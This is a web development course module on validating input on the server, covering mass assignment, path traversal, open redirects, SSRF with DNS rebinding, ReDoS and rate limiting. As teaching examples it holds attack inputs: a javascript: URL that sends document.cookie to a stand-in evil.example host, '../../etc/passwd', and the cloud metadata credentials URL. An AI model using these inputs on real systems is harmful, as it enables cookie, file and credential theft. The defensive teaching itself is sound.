cf.completefrontend
My progress
FUNDAMENTALS · MODULE 11

Validating and sanitizing input

Checks in the browser make forms friendly; checks on the server keep the data and the system safe, from file uploads to redirect URLs to the URLs your server fetches for users.

Never trust the client

Picture a shop with a sign-up form. The form has required on every field, a maxlength of 40 on the name, a dropdown for the country, and a JavaScript check that the age is between 13 and 120. The team tests it, every bad value shows a friendly red message, and it ships.

A week later the database has a user whose name is 2 MB long, a country called Narnia, an age of -5, and a field called role set to admin. Nobody broke the form. Someone opened the browser's network tab, copied the sign-up request as a curl command, edited the JSON, and sent it straight to the API.

That is the whole lesson in one story. The browser is a program the user controls. Every check that runs there can be skipped, edited in DevTools, or replaced by a script that never loads your page at all. The server is the only place where a check is guaranteed to run.

A sequence diagram with four columns: the sign-up form in the browser, a curl script, the API server, and the database. First the form runs its checks and sends age 29; the API inserts it. Then the curl script sends age -5 and role admin directly to the API, skipping every browser check, and an API with no checks of its own inserts that too.FormcurlAPIDatabasechecks ranage: 29insertskips the formage: -5, role: admininsert
The form's checks only run for requests that come from the form. A copied request with curl goes straight to the API, so only the API's own checks stand between it and the database.

Client validation is UX, not security

This does not make browser checks useless. They are how a form tells a person, right away and next to the field, that the email is missing an @. They save a round trip, they help screen reader users fix mistakes, and they catch most honest errors. They are user experience.

Server checks are security and data integrity. They decide what gets stored, what gets run, what gets fetched, and where users get sent. They have to hold even when the request comes from a bot, a modified app, an old app version, or an attacker with curl.

QuestionChecks in the browserChecks on the server
Who can skip them?Anyone: DevTools, curl, a script, an old app versionNobody who talks to your API
What they are forFast, friendly feedback next to the fieldKeeping bad data and attacks out
What happens if they are wrongA confused userA breach, corrupt data, or an outage
Can they see everything?No: not other users, not the database, not rate limitsYes: uniqueness, permissions, quotas

What counts as input

Input is anything that crosses into your system from outside your control. Form fields are the obvious part. The less obvious parts are where real bugs hide:

  • URLs: path segments, query parameters such as ?returnTo=, and the fragment after # that your client code reads.
  • Headers and cookies: Host, Referer, X-Forwarded-For, Content-Type, and any cookie value. All of them can be set by the sender.
  • Files: the bytes, the file name, the claimed type, and the size.
  • Data from other services: webhook bodies, responses from third-party APIs, and messages from postMessage or a WebSocket.
  • Your own stored data: a value that was saved before a bug was fixed, or by an old version, is still input when you read it back.

The rest of this lesson walks through how to check all of that well: the mental model, one schema on both sides, canonical forms and allowlists, then the attacks that come from specific kinds of input (file names, redirect URLs, URLs your server fetches, slow regular expressions) and the limits that stop abuse by volume.

Check your understanding · Exercise 1

A checkout form limits the quantity field to 1 to 10 with min and max, and a JavaScript handler blocks submit if the coupon code is not in a list. Which checks still hold if someone sends the request with curl? Pick one.

The mental model: a gate at the trust boundary

Draw a line around the code and data you control: your servers, your database, your queues. That line is the trust boundary. Everything outside it (browsers, mobile apps, partner servers, the open internet) is untrusted. Every value that crosses the line goes through a gate, once, and comes out the other side as a typed, checked value your code can rely on.

Think of an airport. The check-in desk warns you that your bag is too heavy: helpful, and skippable. Security screening is the gate: everyone goes through it, it follows a written list, and everything past it can assume people were screened.

Parse, don't just check

A weak gate looks at the raw input, says yes or no, and then passes the same raw object along. Code deeper in the system still gets a loose bag of strings and has to guess. A strong gate parses: it reads the raw input and builds a new value with the exact type you want, or it fails. After the gate, age is a number from 13 to 120, not a string that was checked once.

Parsing also drops what you did not ask for. If the schema has name and email, the parsed object has name and email, even if the request also sent role and isAdmin. That one habit prevents a whole class of bugs you will meet in chapter 3.

A flowchart of the gate at the trust boundary, left to right. Raw input goes to Limit (size caps), then Normalize (one canonical form), then Parse (check against an allowlist and build a typed value), then Rules (checks that need server data, such as ownership and uniqueness), then Use (encode for where the value goes). The first four steps each have a no arrow down to Reject, which answers 413, 422, or 403.raw inputtyped valueLimitsize capsnoNormalizeone formnoParseallowlistnoRulesserver datanoUseencode outReject: 413, 422, 403log the reason, not the payload
Each step works on the output of the one before, so the checks see the same value the code later uses. Anything that fails stops at the gate with a clear status, such as 413 for too large or 422 for invalid.

The steps, in order

  1. Limit. Cap the size before reading: body size, header size, number of fields, file size. A 50 MB JSON body should be refused before your parser spends memory on it.
  2. Decode and canonicalize. Turn the input into its one standard form: decode percent-encoding once, normalize Unicode, trim, lowercase where case does not matter, resolve the URL or path. Checking before this step checks the wrong thing.
  3. Parse against an allowlist. Check type, length, range, format, and allowed values. Build a new typed object. Reject anything else with a clear error.
  4. Check business rules. Things only the server knows: is this email already taken, does this user own order 1234, is the coupon still active.
  5. Use it, and encode on the way out. Pass values to SQL as parameters, put them in HTML through the framework's escaping, put them in URLs with encodeURIComponent. The encoding depends on where the value lands, not where it came from.

Validate, sanitize, encode: three different jobs

These three words get mixed up, and the mix-up causes real bugs. They happen at different times and solve different problems.

JobWhat it doesWhenExample
ValidateAccepts or rejects, never changes the meaningAt the gate, on the way inReject an age of -5
SanitizeChanges input so it becomes safe to keepRarely: only when you must keep some markupRun rich text through DOMPurify with an allowlist of tags
EncodeEscapes a value for one specific outputOn the way out, every time< becomes &lt; in HTML; a value is a bound parameter in SQL

A common mistake is to "sanitize everything" on the way in by stripping <, >, and quotes before saving. It mangles honest data (O'Brien, AT&T, 3 < 5) and still misses attacks, because what is dangerous depends on the output: a quote is harmless in HTML text and dangerous in an attribute. The XSS lesson covers output encoding in depth.

Think first

A teammate proposes removing every < and > from all text fields before saving, "to stop XSS". What do you say?

Validate on both sides, with one schema

So the server must check everything, and the browser should check most things for a good experience. The obvious problem is that you now have the same rules in two places. Over a year they drift: the form allows 50 characters, the API allows 40, and users hit an error they could not have predicted.

The fix most teams use today is one schema in a shared package, written with a library such as Zod, Valibot, or a JSON Schema validator like Ajv. The form imports it for instant feedback. The API route imports the same object for the real check. Change the rule once and both sides move together.

ts
// packages/schemas/signup.ts, imported by the form and the API
import { z } from "zod";

export const SignUp = z.object({
  email: z.string().trim().toLowerCase().max(254).pipe(z.email()),
  username: z.string().trim().regex(/^[a-z0-9_]{3,30}$/i),
  age: z.coerce.number().int().min(13).max(120),
  country: z.enum(["IN", "US", "GB", "DE"]),
}); // unknown keys such as role are dropped

// API route: the same schema, plus rules only the server can check
export async function POST(req: Request) {
  const parsed = SignUp.safeParse(await req.json());
  if (!parsed.success) return problem(422, parsed.error);
  if (await users.emailTaken(parsed.data.email))
    return problem(422, fieldError("email", "Already registered"));
  return Response.json(await users.create(parsed.data), { status: 201 });
}
The form calls SignUp.safeParse on change; the server calls it on every request and adds the uniqueness check.
An architecture diagram. At the top, one schema file, signup.ts, in a shared package. An import arrow goes down-left to the sign-up form in the browser, which runs safeParse on every change for instant messages. Another import arrow goes down-right to the POST /signup route on the server, which runs safeParse on every request and then adds rules only the server can check, such as uniqueness and ownership.signup.tsone shared schemaBrowser: UXServer: the gateSignUpFormsafeParse on changePOST /signupsafeParse every requestimportimportmessages next to fieldsthen: taken? owner? price?
One definition, two jobs. The browser copy gives instant feedback; the server copy is the real gate and adds the checks that need server data. Change the rule once and both sides follow.

What only the server can check

A shared schema covers shape: types, lengths, ranges, formats, allowed values. Some rules need data the browser does not have, or should not have. These stay on the server, after the schema:

  • Uniqueness: is this username or email already taken.
  • Ownership and permission: does the logged-in user own order 1234. Changing an ID in the URL is the oldest attack in the book, called IDOR (insecure direct object reference).
  • Prices and totals: read the price from your database, never from the request. The request says "2 of item 77", the server says what that costs.
  • State rules: you cannot cancel an order that has shipped, or vote twice.
  • Quotas and rates: how many sign-ups from this IP this hour (chapter 8).

When the server rejects a request, return 422 Unprocessable Content (or 400) with a body that lists errors per field, ideally as RFC 9457 problem details with an errors array, as the API contracts lesson describes. The form then shows the server's "Already registered" message under the email field, in the same place as its own messages. Users should not be able to tell which side caught the problem.

Mass assignment: the field you didn't ask for

Back to the opening story: the user who made themselves an admin. The route did something like db.users.update(id, req.body). The form only had name and bio, but the body is whatever the sender wants, and the database row also has role, isVerified, and credits. This is mass assignment: copying a whole request object into a model.

Before and after, side by side. Before, with data equal to req.body: the request body has name Asha, bio Hi!, and role admin, and all three are copied into the users row, so the row now says role admin. After, with only name and bio picked from the parsed input: name and bio are copied, role admin is dropped, and the row keeps role user.before: data = req.bodyafter: pick name, biorequest bodyusers rowname: Ashabio: Hi!role: adminname: Ashabio: Hi!role: adminrequest bodyusers rowname: Ashabio: Hi!role: adminname: Ashabio: Hi!role: useranyone can be adminrole is ignored
The form never had a role field, but the request body is whatever the sender writes. Copy an explicit list of fields, or let the schema drop unknown keys, and the extra field has nothing to land on.

The defence is the parse step from chapter 2. Build the update from an explicit list of fields the user may change, and drop the rest. Zod objects drop unknown keys by default; .strict() rejects them instead, which is useful in development because it surfaces client bugs. Frameworks have the same idea under other names: Rails strong parameters, Django forms with an explicit fields list, and the whitelist option of NestJS's validation pipe.

Decision Where should the validation rules live?

Separate rules on each side

The form has its own checks in the component

The API has its own checks in the route

Pros

  • No shared package to set up
  • Each side can use whatever library it likes

Cons

  • Rules drift apart over time
  • Users see server errors the form never warned about

One shared schema (Zod, Valibot)

Schema in a package both import

Server adds rules that need its data

Pros

  • Change once, both sides follow
  • Typed output on both sides

Cons

  • Needs JavaScript or TypeScript on both sides
  • Schema code ships in the client bundle

Contract-first (OpenAPI or JSON Schema)

Rules live in the API contract

Generate client types and validators from it, for example with Ajv

Pros

  • Works across languages: a Go API and a React form
  • The contract is the documentation

Cons

  • Generation step in the build
  • Expressing custom messages is clunkier

What we pick: For a TypeScript front and back, a shared schema is the simplest thing that stays in sync. When the API is in another language or serves many clients, make the OpenAPI contract the source of truth and generate from it. Either way, the server check is the one that counts.

Check your understanding · Exercise 2

A profile route runs await db.user.update({ where: { id: req.params.id }, data: req.body }). Which problems does it have? Select all that apply.

Canonical forms, allowlists, and file names

Most validation bugs are not missing checks. They are checks that look at a different version of the value than the one that gets used. The check sees %2e%2e%2f, approves it, and three layers later something decodes it into ../.

To avoid that, every value needs one canonical form: the single standard way to write it. Convert to that form first, check the canonical value, and pass only the canonical value on.

One value, many spellings

What you meanOther ways to write itCanonicalize by
../..%2f, %2e%2e/, %252e%252e%252f (encoded twice), ..\ on WindowsDecoding exactly once, then resolving the path
adminAdmin, ADMIN, admin (full-width letters)Unicode NFKC normalization, then lowercase
https://shop.example/HTTPS://SHOP.EXAMPLE:443/, https://shop.example/a/../Parsing with the URL API and comparing parts
127.0.0.12130706433, 0x7f.0.0.1, 127.1, [::ffff:127.0.0.1]Parsing as an IP address, not as text

Two rules make this manageable. Decode once, at the edge, and never again deeper in. And use real parsers (new URL(), path.resolve, an IP address library, String.prototype.normalize("NFKC")) instead of string tricks, because the parser is what the rest of the system will use too.

Normalization does not catch everything. аdmin with a Cyrillic а looks the same as admin and stays different after NFKC. For usernames that people will trust, the simplest fix is a narrow allowlist (ASCII letters, digits, underscore). If you need full Unicode names, check them against the confusable characters list in Unicode UTS 39.

Allowlists beat blocklists

A blocklist lists what is forbidden: no <script>, no ../, no localhost. An allowlist lists what is permitted: 3 to 30 of a-z, 0-9, _. Blocklists fail open: every spelling you did not think of gets through, and attackers are paid to think of spellings. Allowlists fail closed: an input you did not think of is rejected, which at worst is a support ticket.

  • Enums over strings: a country is one of 249 codes, a sort order is asc or desc, a currency is one of the ones you support.
  • Ranges over "is a number": quantity 1 to 99, page size 1 to 100. An unbounded limit is an easy way to make your API dump the whole table.
  • Anchored patterns: /^[a-z0-9_]{3,30}$/i. Without ^ and $, the pattern only has to match somewhere inside the string, so ok<script> passes. Avoid the m flag in validators: it makes ^ and $ match at every line break.
  • Length on everything: every string has a maximum, even free text. A bio can be 500 characters; nothing is unlimited.

Path traversal in file names

File names are input. Suppose an export feature saves to path.join("/srv/exports", req.query.name). With name set to report.csv the file lands where you expect.

With name set to ../../etc/passwd, path.join resolves the dots and the result is /etc/passwd. The same bug in a download route lets anyone read files from the server. This is path traversal.

A tree of folders on the server. The root folder has two children, etc and srv. etc contains passwd. srv contains exports, which contains a.csv. With the name a.csv, the path stays inside exports. With the name ../../etc/passwd, the path climbs from exports up to srv, up to the root, then down into etc and passwd, outside the folder the code meant to use./etcsrvpasswdexportsa.csv....name = "a.csv": stays insidename = "../../etc/passwd"becomes /etc/passwd
Each .. climbs one folder. Two of them leave /srv/exports entirely, and then the name can walk anywhere. Generate your own file names, or resolve the path and check it still starts with the base folder.

Blocklisting ../ does not work: there are encoded forms, backslashes on Windows, and absolute paths like /etc/passwd that contain no dots at all. The safe options, from best to acceptable:

  1. Don't use the user's name as a path. Generate an ID (crypto.randomUUID()), store the file under it, and keep the original name in the database only as display text.
  2. Look it up. The request names a record ID; the server looks up the stored path for that record after checking the user may read it.
  3. Resolve and contain. If you must accept a name, allowlist its characters (/^[\w.-]{1,100}$/ with no leading dot), then path.resolve(base, name) and refuse unless the result starts with base + path.sep.

File uploads, in brief

An uploaded file is the biggest single input most apps accept, and the file uploads lesson covers it in depth. The validation rules in one place: limit the size before reading the body (or in the signed policy of a presigned upload URL); decide the type by reading the first bytes (the magic number), not from the name or the browser's type; re-encode images on the server; store under a generated name; and serve user files from a separate domain with X-Content-Type-Options: nosniff.

The browser's accept attribute and file.size check are only there to fail fast for honest users.

Check your understanding · Exercise 3

A download route serves path.resolve(BASE, req.query.file) and rejects any file containing ../. Which requests still escape BASE? Select all that apply.

Open redirects: where returnTo can send people

Almost every app has a "go back where you were" parameter. A logged-out user opens /orders/1234, gets sent to /login?returnTo=/orders/1234, signs in, and lands on the order. It is good UX. It also means your login page will send the browser to whatever URL is in the query string, unless you check it.

An open redirect is a page on your site that redirects to any URL it is given. The attacker emails a link to https://shop.example/login?returnTo=https://shop-example.help/login. The victim checks the domain, sees your real site, and signs in on your real page. Then your site sends them to the attacker's copy, which says "session expired, please sign in again" and collects the password.

A sequence diagram between the victim's browser, the real shop.example, and the attacker's look-alike site. The browser opens a link from an email to the real login page with returnTo set to the attacker's site. The real site shows its real login page. The victim signs in. The real site answers 302 to the returnTo value. The browser loads the fake page, which says to sign in again, and the victim types the password into the attacker's site.Browsershop.exampleAttacker siteopen link from emailreal login pagesign in302 to returnToGET fake loginsign in againpassword
Every step until the 302 happens on your real domain, which is why the trick works. The fix is one check on returnTo before redirecting.

Why it is worse than it sounds

  • Phishing with your name on it. The link starts with your domain, so mail filters and careful users trust it.
  • Stolen tokens. In OAuth flows, an open redirect on an allowed redirect path can forward an authorization code or token to the attacker's site. This is why current OAuth security guidance (RFC 9700) asks for exact redirect_uri matching.
  • XSS through javascript: URLs. If the redirect happens in the browser with window.location.href = returnTo, a value of javascript:fetch('//evil.example?c='+document.cookie) runs as script on your origin. A server 302 with that value does nothing, but client-side redirects run it.

Why the obvious checks fail

The first idea is returnTo.startsWith("/"): only allow paths. It fails because browsers read //evil.example as "same scheme, host evil.example", a protocol-relative URL.

The next idea is to also block //. That fails because the URL parser treats a backslash like a slash in web URLs, so /\evil.example also goes to evil.example. It also removes tabs and newlines, so / then a tab then /evil.example gets through a check for // and still leaves your site.

InputstartsWith("/")Where the browser goes
/settingsAllowedhttps://shop.example/settings
//evil.exampleAllowedhttps://evil.example/
/\evil.exampleAllowedhttps://evil.example/
https://shop.example@evil.example/Rejectedhttps://evil.example/ (the part before @ is a user name)
https://shop.example.evil.example/RejectedA subdomain of evil.example, so a check with startsWith("https://shop.example") would allow it

A validator that holds

Don't reason about the string. Let the browser's own URL parser resolve it against your origin, then compare the parsed origin. This is the canonicalize-then-check rule from chapter 4, applied to URLs.

ts
const ORIGIN = "https://shop.example";

export function safeReturnTo(raw: unknown): string {
  const fallback = ORIGIN + "/";
  if (typeof raw !== "string" || raw.length > 2000) return fallback;
  let url: URL;
  try {
    url = new URL(raw, ORIGIN); // resolves //, \, tabs, javascript:
  } catch {
    return fallback;
  }
  if (url.origin !== ORIGIN) return fallback; // other host, or javascript:
  return url.href; // absolute, so it can never be read as //host
}
Parse, compare origins, and return the parsed absolute URL, not the raw string.

The last line matters. new URL("/.//evil.example", ORIGIN).pathname is //evil.example: the dot segment is removed and two slashes are left. If you returned only the path and put it in a Location header, the browser would read it as a protocol-relative URL again. Returning url.href keeps the scheme and host in front, so the result is always on your origin.

For flows with more risk, such as OAuth or payments, go one step further and never put a URL in the query string at all. Store the return path on the server (in the session, or under a random state value) and put only the key in the URL. If you redirect across your own domains, keep an explicit allowlist of exact origins, not a suffix check like endsWith(".shop.example"), which a forgotten subdomain can break.

Validator:

Check: returnTo.startsWith("/"). The login page then runs location.href = value.

With the validator Starts with /: /settings?tab=2 gives stays on shop.example; //evil.example gives leaves to evil.example; /\evil.example gives leaves to evil.example; /(tab)/evil.example gives leaves to evil.example; https://shop.example@evil.example/ gives rejected: home page; javascript:alert(1) gives rejected: home page; JavaScript:alert(1) gives rejected: home page; /.//evil.example gives stays on shop.example. 3 of 8 inputs are unsafe.returnTowhere the browser goes/settings?tab=2stays on shop.example//evil.exampleleaves to evil.example/\evil.exampleleaves to evil.example/(tab)/evil.exampleleaves to evil.examplehttps://shop.example@evil.example/rejected: home pagejavascript:alert(1)rejected: home pageJavaScript:alert(1)rejected: home page/.//evil.examplestays on shop.example3 of 8 unsafe
Each row is one returnTo value an attacker might try. Green means it stayed on your site or was rejected; red means it left the site or ran script.

The validator passed the input as typed. The browser resolves it to https://evil.example/: an open redirect to evil.example.

Check your understanding · Exercise 4

Which of these returnTo checks still allow a redirect off https://shop.example? Select all that apply.

SSRF: when the server fetches a URL for the user

Open redirects send the user's browser somewhere. The next attack sends your server somewhere. Many features take a URL from a user and have the server fetch it: a chat app that shows a preview card for pasted links, "import image from URL", webhooks that call a customer's endpoint, an image proxy that resizes remote images, a PDF export that renders a page in headless Chrome.

Your server sits inside your network. It can reach things the internet cannot: the admin panel on 10.0.0.5, Redis on localhost:6379, and in the cloud, the instance metadata service at 169.254.169.254, which hands out the machine's temporary credentials. If a user can make your server fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/, and you show them the response, they now hold your cloud keys. This is server-side request forgery (SSRF), and it was the entry point of the widely reported Capital One breach in 2019.

An architecture diagram with two zones. On the left, the internet, with an attacker and a public website. On the right, your network, with the link preview service and three internal things it can reach: the cloud metadata service at 169.254.169.254, an admin panel at 10.0.0.5, and Redis on localhost port 6379. The attacker sends a URL to the preview service. The intended path goes out to the public site; the attack paths go sideways to the three internal targets.InternetYour networkattackerpublic siteLink previewfetches the URLurlintendedMetadata169.254.169.254Admin panel10.0.0.5Redislocalhost:6379
The preview service is inside the trust boundary, so a URL from outside becomes a request from inside. Address checks keep it pointed at the public web; an egress proxy makes sure it cannot reach the right-hand column even if a check is wrong.

What to check, in order

  1. Parse the URL with a real URL parser and allow only http: and https:. Refuse file:, gopher:, ftp:, and anything else your HTTP library might support.
  2. Allow only normal ports, usually 80 and 443. This stops someone from using your fetcher to probe internal services on other ports.
  3. Resolve the host name yourself and check every address it returns. Refuse loopback (127.0.0.0/8, ::1), private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7), link-local (169.254.0.0/16, fe80::/10), shared address space (100.64.0.0/10), 0.0.0.0, and IPv4-mapped IPv6 forms of all of these. Parse addresses with an IP library: 2130706433 and 0x7f.0.0.1 both mean 127.0.0.1.
  4. Connect to the address you checked, not to the host name again (see DNS rebinding below).
  5. Don't follow redirects automatically. Use redirect: "manual", and run every check again on each Location, with a limit of 3 to 5 hops. A public URL that answers 302 to http://169.254.169.254/ defeats a check that only looked at the first URL.
  6. Limit what comes back: a timeout of a few seconds, a cap on response size (for example 1 MB for a preview page), and an allowlist of content types. Return only what the feature needs (a title, an image), never the raw body or detailed error messages.
ts
async function fetchForUser(raw: string, hops = 0): Promise<Preview> {
  if (hops > 3) throw new Rejected("too many redirects");
  const url = new URL(raw);
  if (url.protocol !== "https:" && url.protocol !== "http:") throw new Rejected("scheme");
  if (url.port && url.port !== "443" && url.port !== "80") throw new Rejected("port");

  const addrs = await dns.promises.lookup(url.hostname, { all: true });
  if (addrs.some((a) => !isPublicUnicast(a.address))) throw new Rejected("address");

  // Connect to the checked IP and send the original Host header.
  const res = await fetchPinned(url, addrs[0].address, {
    redirect: "manual",
    signal: AbortSignal.timeout(5000),
  });
  if (res.status >= 300 && res.status < 400) {
    const next = new URL(res.headers.get("location") ?? "", url);
    return fetchForUser(next.href, hops + 1); // every check runs again
  }
  return parsePreview(await readCapped(res, 1_000_000));
}
A sketch: isPublicUnicast, fetchPinned, and readCapped are small helpers, or come from a vetted SSRF-safe HTTP library.

DNS rebinding: the check and the fetch see different answers

A tempting shortcut is to resolve the host, check the address, then call fetch(url). But fetch resolves the name again. An attacker who controls the DNS for rebind.evil.example sets a time to live of 0 seconds and answers the first lookup with a public address and the second with 169.254.169.254.

Your check passes, and your fetch hits the metadata service. This is DNS rebinding, a time-of-check to time-of-use bug: the value checked is not the value used.

A timeline of four steps for one URL on rebind.evil.example. First, the check's DNS lookup returns the public address 203.0.113.7 with a time to live of 0. Second, the check sees a public address and allows the URL. Third, fetch looks the name up again and now gets 169.254.169.254. Fourth, fetch connects to the metadata service. The check and the connection used different answers.lookup 1203.0.113.7, TTL 0checkpublic: allowedlookup 2169.254.169.254connectmetadata0 mstimeyour check
The check and the fetch each asked DNS, and the attacker's DNS server answered differently the second time. Resolve once, check that address, and connect to that same address.

The fix is to resolve once and connect to that exact address (pinning), sending the original host name in the Host header and for TLS. In Node you can do this with a custom lookup function on the HTTP agent that runs the address check inside the connection itself, so there is no second answer to swap in.

Network-level defences

Application checks are easy to get slightly wrong, so the strongest setups add a layer that does not depend on them. Run user-driven fetches through an egress proxy, a proxy for outgoing traffic, in a network segment that cannot reach internal services at all. Stripe open-sourced theirs, Smokescreen, for exactly this.

On AWS, require IMDSv2, the second version of the instance metadata service. It needs a PUT request with a session token that a plain GET from a fetcher cannot get. Webhook senders, link unfurlers, and image proxies all belong behind this kind of proxy; the webhooks lesson applies the same rules to customer endpoints.

Defence:
URL:

Defence: dns.lookup, refuse private ranges, then fetch(url).

HIT. The first host is public and passes. Then fetch follows the 302 on its own, past the check.

A matrix of 7 URLs against 4 defences. No check: 6 of 6 attacks get through; Text blocklist: 5 of 6 attacks get through; Resolve, check, fetch: 2 of 6 attacks get through; Pinned and re-checked: 0 of 6 attacks get through. Selected: https://redirect.evil.example/ with Resolve, check, fetch, which is HIT.noneblocklistresolvepinnednews.example/storyfetchedfetchedfetchedfetched169.254.169.254/...HITblockedblockedblocked2130706433HITHITblockedblocked[::ffff:a9fe:a9fe]HITHITblockedblockedinternal.evil.exampleHITHITblockedblockedredirect.evil.exampleHITHITHITblockedrebind.evil.exampleHITHITHITfetchedattacks through: none 6, blocklist 5, resolve 2, pinned 0
Rows are URLs a user submits to a link preview; columns are the defences. Red means the server reached something inside your network. Only the pinned, re-checked fetcher stops every row, and an egress proxy backs it up.

Check your understanding · Exercise 5

A link preview service resolves the host, refuses private addresses, then calls fetch(url) with default options. Which attacks still work? Select all that apply.

ReDoS: when the validator is the attack

Validation code runs on every request, before you know whether the request is honest. That makes the validator itself a target. The classic example is a regular expression that takes a few microseconds on normal input and seconds or minutes on a carefully built string. This is ReDoS, regular expression denial of service.

Catastrophic backtracking

JavaScript's regex engine, like those in Python, Java, Ruby, and PHP, is a backtracking engine. When part of a pattern fails, it goes back and tries another way to split the input among the pattern's pieces. Usually there are few ways. But a nested quantifier such as (a+)+ can split a run of n letters in about 2 to the power n ways, and when the match finally fails at the end, the engine tries all of them.

js
const evil = /^(a+)+$/;
const fine = /^a+$/; // matches exactly the same strings

for (const n of [20, 24, 26, 28]) {
  const input = "a".repeat(n) + "!"; // the ! makes the match fail at the end
  const t = performance.now();
  evil.test(input);
  console.log(n, Math.round(performance.now() - t), "ms");
}
// Node 22 on an M1 laptop: 20 -> 7 ms, 24 -> 120 ms, 26 -> 450 ms, 28 -> 1,800 ms
// fine.test on the same inputs: under 0.1 ms every time
Each extra character roughly doubles the time. Thirty characters took over 8 seconds: enough to freeze a server.
A bar chart, to scale, of how long one regex test takes in Node 22 on an M1 laptop when the input is n letters a followed by an exclamation mark. With the pattern (a+)+: 20 letters take 7 milliseconds, 24 letters 120 milliseconds, 26 letters 450 milliseconds, and 28 letters 1,800 milliseconds. With the equivalent pattern a+ on 28 letters: under 0.1 milliseconds.(a+)+ with 20 letters7 ms(a+)+ with 24 letters120 ms(a+)+ with 26 letters450 ms(a+)+ with 28 letters1,800 msa+ with 28 lettersunder 0.1 ms
Eight more characters turned 7 ms into almost 2 seconds. The rewritten pattern matches the same strings and stays flat, because each letter can be matched only one way.

Nobody writes (a+)+ on purpose, but the same shape hides in real validators. An email check like /^([a-zA-Z0-9]+\.?)+@example\.com$/ looks reasonable: words, each followed by an optional dot. Because the dot is optional, a run of letters can be split into words in many ways. With 28 letters and a domain that does not quite match, it took about 1.5 seconds in the same test.

Why one request can take down a server

Node runs your JavaScript on one thread. While evil.test() runs, that server process handles nothing else: no other users, no health checks. A handful of 30-character strings can stall every instance behind a load balancer.

This has happened. In July 2019 a regex with several .* pieces in a row, in a firewall rule, took Cloudflare's network down for 27 minutes. In July 2016 a regex for trimming whitespace took Stack Overflow offline for 34 minutes; its time grew with the square of the input length rather than exponentially, and that was still enough.

In the browser the blast radius is smaller but not zero. A slow regex on a form field freezes only that user's tab. A slow regex that runs over content other people wrote, like a Markdown renderer or a mention highlighter in a chat app, freezes the tab of everyone who opens that message.

How to avoid it

  • Limit length first. Check the length before the pattern runs. Backtracking cost grows with length, so a short cap removes most of the risk. Zod runs every check even after one fails, so a plain .max() does not stop the regex: write .max(254, { abort: true }) before .regex(), or check the length before parsing.
  • No nested or overlapping quantifiers. Watch for (x+)+, (x*)*, (a|a)*, and (\w+\.?)+ where the pieces can match the same characters. Rewrite so each character can be matched only one way: ^[a-z0-9]+(\.[a-z0-9]+)*$.
  • Use a linear-time engine for patterns from users or for hot paths. RE2 (from Google, with bindings for Node) and the regex engines in Go and Rust never backtrack, so their time grows in a straight line with input length.
  • Lint and test. The regexp/no-super-linear-backtracking rule in eslint-plugin-regexp reports patterns with super-linear backtracking, and a unit test that runs each validator on a 10,000-character worst-case string with a time limit catches regressions.
  • Prefer a parser to a clever regex. new URL() validates URLs better than any URL regex, and for email, a simple shape check plus a confirmation email is what actually proves the address works.

Check your understanding · Exercise 6

Which of these patterns can backtrack catastrophically on a long string that almost matches? Select all that apply.

Rate limits and abuse: valid input, too much of it

Every check so far looks at one request. Some attacks are made entirely of valid requests: one login with a wrong password is normal, ten thousand a minute against one account is password guessing; one sign-up is normal, a million is a spam farm. The defence is a rate limit: a cap on how many requests a given key may make in a given time.

The token bucket

The most common algorithm is the token bucket. Each key (a user, an IP, an API key) has a bucket that holds up to capacity tokens and gains rate tokens per second, up to the cap. Each request takes one token. If the bucket is empty, the request is refused with 429 Too Many Requests and a Retry-After header that says how many seconds until a token is back.

Two numbers give you two behaviours. The capacity allows short bursts: a user who opens a page that fires 8 requests at once is fine with a capacity of 10. The refill rate sets the long-run average: 1 token per second means at most about 60 requests a minute however clever the client is. Storing it is cheap: two numbers per key (tokens left and the time of the last update), usually in Redis so all servers share the count.

Count requests by:

Bucket: 5 tokens, refilling 1 per second. Clock: 0 s. Requests: 0, refused: 0.

Token buckets keyed by IP address at 0 seconds: office IP has 5 of 5 tokens. Last 0 requests: none yet.office IPtokentokentokentokentokenlatest requestsnone yetA = Asha, B = Ben
Filled boxes are tokens left in each bucket. Below, the latest requests, oldest on the left: 200 spent a token, 429 found the bucket empty.

Send some requests. Asha and Ben work in the same office, so they share one public IP address.

Decision Which rate limiting algorithm?

Fixed window counter

Count requests per key per clock minute

Reset the counter when the minute changes

Pros

  • One counter per key, trivial with Redis INCR and EXPIRE

Cons

  • Allows double the limit across a boundary: 100 at 12:00:59 and 100 more at 12:01:00

Sliding window

Weight the previous window's count by how much of it overlaps the last 60 seconds

Or keep a log of timestamps

Pros

  • Smooth, no boundary spike
  • Easy to explain as "100 per rolling minute"

Cons

  • The timestamp log costs memory per request
  • The weighted version is an approximation

Token bucket

Tokens refill at a steady rate up to a cap

Each request spends one or more tokens

Pros

  • Allows natural bursts, caps the average
  • Expensive endpoints can cost more tokens

Cons

  • Two parameters to tune instead of one
  • Needs an atomic read-and-update, such as a Redis Lua script

What we pick: Token bucket for most APIs: it fits how real clients behave (bursty page loads, quiet reading). A fixed window is fine for coarse daily quotas. Whatever you choose, make the update atomic so two servers cannot both spend the last token.

Choosing the key: per user, per IP, per target

The algorithm matters less than what you count by. Each key catches a different kind of abuse and has its own blind spot, so real systems combine several.

KeyCatchesBlind spot
Per user or API keyOne account hammering an endpointLogged-out endpoints; attackers with many accounts
Per IP addressSign-up and login floods before anyone is logged inThousands of people behind one office or mobile carrier IP (carrier-grade NAT); attackers with many IPs. Count IPv6 by /64 prefix, since one user often controls a whole /64
Per targetMany IPs guessing passwords for one account (a distributed brute force)Can be used to lock a real user out, so slow down rather than block
Per endpoint costCheap endpoints and expensive ones (search, export, AI calls) sharing one limitNeeds a cost per route

Get the IP right. Behind a CDN or load balancer, the TCP address is the proxy's. Read the client IP from the header your own proxy sets (for example CF-Connecting-IP, or the right-most entry your proxy added to X-Forwarded-For), and never trust the left-most X-Forwarded-For value, which the client can write.

Where limits live

  • At the edge (CDN or web application firewall rules): coarse per-IP limits that drop floods before they cost you anything.
  • In the API gateway or app: per-user and per-endpoint token buckets with business context, such as plan tiers.
  • Size and shape limits: body size, page size (limit at most 100), upload size, GraphQL query depth and cost. These are rate limits on a single request.
  • Friction for humans: a CAPTCHA or email verification after a few failures, instead of a hard block that an attacker can use to lock out real users.

The frontend's part is to be a good citizen: disable a submit button while a request is in flight, debounce search-as-you-type, and when a 429 arrives, read Retry-After, show the user when they can try again, and back off as described in the retries lesson rather than retrying in a tight loop.

Check your understanding · Exercise 7

A login endpoint has a limit of 5 attempts per IP per minute. Which attacks does that limit miss? Select all that apply.

Logging rejected input, and what breaks in production

